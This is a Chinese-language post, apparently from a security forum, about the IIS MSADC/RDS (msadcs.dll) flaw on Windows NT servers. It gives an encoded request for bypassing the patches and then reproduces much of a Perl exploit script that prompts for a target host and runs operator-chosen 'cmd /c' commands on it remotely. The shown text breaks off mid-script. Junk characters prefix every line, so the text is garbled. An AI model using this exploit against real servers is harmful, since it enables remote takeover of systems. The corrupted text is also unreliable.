IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
G%#M17 JMVh\($,x 涉及程序:
Sz'H{?" Microsoft NT server
:5,
k64'D E$1P H) 描述:
|ycN)zuE 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
>= VCKN2'j Vu1swq)l 详细:
:)g}x&A^$ 如果你没有时间读详细内容的话,就删除:
@5:#J! c:\Program Files\Common Files\System\Msadc\msadcs.dll
}*>xSb1 有关的安全问题就没有了。
3Q\k!$zq >9i%Yuy]( 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
l/6$BPU` t[=teB v< 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
,E3Ze*(U 关于利用ODBC远程漏洞的描述,请参看:
^EFVjGM fB"It~ p http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm <]wQ;14;H JuM4Njz| 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
O;CC( http://www.microsoft.com/security/bulletins/MS99-025faq.asp 1}XESAX;0 u|EHe"V" 这里不再论述。
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]z3 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
e4<[|B!O o)r%4YOL /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
]rMHO 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
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B +<i=w $dkkgsw7 #将下面这段保存为txt文件,然后: "perl -x 文件名"
^w6~?'} cOrFe;8-. #!perl
5ji#rIAhxh #
3`U^sr:[% # MSADC/RDS 'usage' (aka exploit) script
W)p?cK` #
sHn-#SGm # by rain.forest.puppy
Ds@nuQ #
C]GW u~QF # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
[\,Jy8t)\ # beta test and find errors!
</-aG[Fi a"bael use Socket; use Getopt::Std;
#.W^7}H getopts("e:vd:h:XR", \%args);
JthW"{E Q)L6+gW^ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
/pYp,ak v FWg0 $, if (!defined $args{h} && !defined $args{R}) {
]!'9Y}9a print qq~
dO!5` ] Usage: msadc.pl -h <host> { -d <delay> -X -v }
m>&:)K}m -h <host> = host you want to scan (ip or domain)
eccJt -d <seconds> = delay between calls, default 1 second
?v@pB>NZ -X = dump Index Server path table, if available
3 Xl!Z^W -v = verbose
p|RFpn2ygF -e = external dictionary file for step 5
3\E G . g8db d Or a -R will resume a command session
z(
^
r <BX'Owbs!O ~; exit;}
]aI zya2 O?s $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
3u@=]0ZN if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
{2=f,,|+f if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
2e|m3 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
gvCQ![ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
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m5 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
aM!%EaT `g^b Qx if (!defined $args{R}){ $ret = &has_msadc;
.
l-eJ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
D V=xqC6} ;Yu|LaI\<m print "Please type the NT commandline you want to run (cmd /c assumed):\n"
j:P(,M[ . "cmd /c ";
[Nv)37|W $in=<STDIN>; chomp $in;
aK5O0` $command="cmd /c " . $in ;
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cdn ),5|Ves;t[ if (defined $args{R}) {&load; exit;}
v0u, :eZ4 Kw87 0n< print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Bhg,P.7 &try_btcustmr;
6)[gF1 {vox
x&UX print "\nStep 2: Trying to make our own DSN...";
\Y^GA;AMQQ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
S:{`eDk\A_ kj/v$m print "\nStep 3: Trying known DSNs...";
>bbvQb+j &known_dsn;
P&5kO;ia I~)A!vp print "\nStep 4: Trying known .mdbs...";
n#"N"6s &known_mdb;
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